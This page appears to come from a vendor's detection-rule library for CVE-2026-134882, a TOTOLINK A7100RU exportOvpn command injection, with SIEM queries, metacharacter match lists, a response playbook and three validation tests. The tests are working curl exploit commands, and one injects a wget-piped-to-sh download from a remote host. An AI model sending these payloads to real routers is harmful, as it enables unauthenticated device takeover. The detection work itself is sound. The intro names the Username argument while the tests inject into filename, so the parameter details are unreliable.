Skip to content
CVE-2026-134882

TOTOLINK A7100RU cstecgi.cgi exportOvpn OS Command Injection (CVE-2026-134882)

Initial Access Execution Last updated:

Detects exploitation of CVE-2026-134882, an OS command injection in the exportOvpn function of /cgi-bin/cstecgi.cgi on the TOTOLINK A7100RU running firmware 7.4cu.2313_B20191024. NVD rates it CVSS 10.0. A remote, unauthenticated attacker can inject shell metacharacters into the Username argument of the exportOvpn handler, causing the device to run attacker-supplied commands. Detection focuses on HTTP POST requests to cstecgi.cgi invoking the exportOvpn topicurl with embedded shell metacharacters, and on post-exploitation command execution telemetry where router or edge logs are forwarded to the SIEM.

Vulnerability Intelligence

Theoretical

What is CVE-2026-134882 TOTOLINK A7100RU cstecgi.cgi exportOvpn OS Command Injection (CVE-2026-134882)?

TOTOLINK A7100RU cstecgi.cgi exportOvpn OS Command Injection (CVE-2026-134882) (CVE-2026-134882) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for TOTOLINK A7100RU cstecgi.cgi exportOvpn OS Command Injection (CVE-2026-134882), covering the data sources and telemetry it touches: WAF/Proxy logs, Firewall HTTP inspection, Router syslog forwarded to Sentinel. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
// df00tech DF00-a0cf37c04f · https://df00tech.com/detections/CVE-2026-134882 · licence: https://df00tech.com/detections/licence
let metachars = dynamic(["%3B",";","%26","&","%7C","|","%60","`","$(","%24%28","&&","||","%0a","\n"]);
let suspicious = (s:string) { s has_any (metachars) };
AGWHeartbeatLog
| union (CommonSecurityLog | where DeviceVendor has_any ("TOTOLINK"))
| extend ReqUrl = coalesce(column_ifexists("RequestURL",""), column_ifexists("Url",""), "")
| extend ReqBody = coalesce(column_ifexists("RequestBody",""), column_ifexists("AdditionalExtensions",""), "")
| where ReqUrl has "cstecgi.cgi" or ReqBody has "cstecgi.cgi"
| where (ReqUrl has "exportOvpn" or ReqBody has "exportOvpn")
| where suspicious(ReqUrl) or suspicious(ReqBody)
| project TimeGenerated, SourceIP = column_ifexists("SourceIP",""), DestinationIP = column_ifexists("DestinationIP",""), ReqUrl, ReqBody
| order by TimeGenerated desc

Flags HTTP requests to TOTOLINK cstecgi.cgi invoking exportOvpn with URL-encoded or raw shell metacharacters indicating command injection.

critical severity medium confidence

Data Sources

WAF/Proxy logs Firewall HTTP inspection Router syslog forwarded to Sentinel

Required Tables

CommonSecurityLog AGWHeartbeatLog

False Positives

  • Legitimate VPN profile exports by administrators (rare, and should not contain shell metacharacters)
  • Security scanners and vulnerability assessment tools probing the device
  • Penetration testing engagements against the router management interface

Query fingerprint DF00-a0cf37c04f · licence

Sigma logsource & community rules

The detection logic for TOTOLINK A7100RU cstecgi.cgi exportOvpn OS Command Injection (CVE-2026-134882) (CVE-2026-134882) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 exportOvpn command injection via semicolon

    Expected signal: Proxy/firewall HTTP log entry: POST /cgi-bin/cstecgi.cgi with exportOvpn and a semicolon metacharacter in the body.

  2. Test 2 exportOvpn injection via backtick substitution

    Expected signal: HTTP request log with exportOvpn and backtick characters in body.

  3. Test 3 exportOvpn injection via URL-encoded pipe

    Expected signal: HTTP log showing exportOvpn with %7C encoded pipe in the request.


Response Playbook

Triage

  1. Confirm the target IP is a TOTOLINK A7100RU running firmware 7.4cu.2313_B20191024 (check device inventory and management banner).
  2. Extract the exportOvpn request payload and decode URL-encoded shell metacharacters to reconstruct the injected command.
  3. Determine whether the request succeeded (HTTP 200 and anomalous response size/timing) versus a blocked or probed attempt.
  4. Identify the source IP's history: prior scanning, other cstecgi.cgi parameters abused, or repeated attempts.

Containment

  1. Block the attacking source IP at the perimeter firewall and restrict WAN-side access to the router management interface.
  2. Isolate the affected router from the internal network until firmware is patched or the device is replaced.
  3. Rotate any credentials, VPN keys, or secrets that were stored on or reachable from the compromised router.

Evidence Collection

  1. Capture full HTTP request/response pairs to /cgi-bin/cstecgi.cgi including headers and body for the exportOvpn calls.
  2. Preserve router syslog, NVRAM config, and any on-device shell/command history if the device can be accessed safely.
  3. Collect firewall/proxy flow records showing subsequent outbound connections from the router (reverse shells, downloads).

Escalation Criteria

  • ! Escalate to IR if the injected command produced outbound connections, dropped files, or evidence of a reverse shell.
  • ! Escalate if the router provides VPN or routing for sensitive internal segments, indicating potential lateral movement risk.

Investigation Guide

Forensic Artifacts

  • > HTTP access logs on the router/proxy showing POST /cgi-bin/cstecgi.cgi with topicurl=exportOvpn
  • > Router process list and spawned child processes of the cstecgi.cgi handler
  • > Any files written to /tmp or VPN export directories on the device

Tuning Guidance

If administrators legitimately export OpenVPN profiles, baseline their source IPs and the normal (metacharacter-free) request shape, then alert only on requests originating from untrusted/WAN addresses or containing shell metacharacters. Tighten the metacharacter regex if benign filenames in exports contain ampersands. Prioritize alerts where the management interface is WAN-exposed.


Hunting Queries

Hunt for any cstecgi.cgi request (any topicurl, not just exportOvpn) carrying shell metacharacters to catch related injection points.

Hunting — KQL
kql
// df00tech DF00-a0cf37c04f · https://df00tech.com/detections/CVE-2026-134882 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "cstecgi.cgi" | where RequestURL has_any (";","|","`","$(","%3B","%7C") | summarize count() by SourceIP, RequestURL
Hunting — SPL
spl
``` df00tech DF00-a0cf37c04f · https://df00tech.com/detections/CVE-2026-134882 · licence: https://df00tech.com/detections/licence ```
index=proxy uri_path="*cstecgi.cgi*" | regex _raw="(?i)(topicurl=\w+).*(;|\||`|\$\()" | stats count by src_ip, uri_path

Atomic Red Team Tests

Test 1 exportOvpn command injection via semicolon
linux

Sends a POST to cstecgi.cgi invoking exportOvpn with a semicolon-chained command in a lab TOTOLINK A7100RU.

Command

bash
curl -s -X POST 'http://192.168.0.1/cgi-bin/cstecgi.cgi' -H 'Content-Type: application/json' -d '{"topicurl":"exportOvpn","filename":"test;id>/tmp/argus_poc"}'

Cleanup

bash
ssh [email protected] 'rm -f /tmp/argus_poc' 2>/dev/null || true

Expected Telemetry

Proxy/firewall HTTP log entry: POST /cgi-bin/cstecgi.cgi with exportOvpn and a semicolon metacharacter in the body.

Expected Detection

KQL/SPL rule fires on exportOvpn + metacharacter match.

Test 2 exportOvpn injection via backtick substitution
linux

Uses backtick command substitution in the exportOvpn parameter against a lab device.

Command

bash
curl -s -X POST 'http://192.168.0.1/cgi-bin/cstecgi.cgi' -H 'Content-Type: application/json' -d '{"topicurl":"exportOvpn","filename":"`id`"}'

Cleanup

bash
echo 'no artifacts to clean'

Expected Telemetry

HTTP request log with exportOvpn and backtick characters in body.

Expected Detection

Rule matches on backtick/%60 metacharacter pattern.

Test 3 exportOvpn injection via URL-encoded pipe
linux

Sends a URL-encoded pipe metacharacter in the exportOvpn request to emulate evasion.

Command

bash
curl -s -X POST 'http://192.168.0.1/cgi-bin/cstecgi.cgi' --data 'topicurl=exportOvpn&filename=x%7Cwget%20http%3A%2F%2F10.0.0.5%2Fs%7Csh'

Cleanup

bash
echo 'no persistent artifacts'

Expected Telemetry

HTTP log showing exportOvpn with %7C encoded pipe in the request.

Expected Detection

Rule matches on %7C URL-encoded metacharacter.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections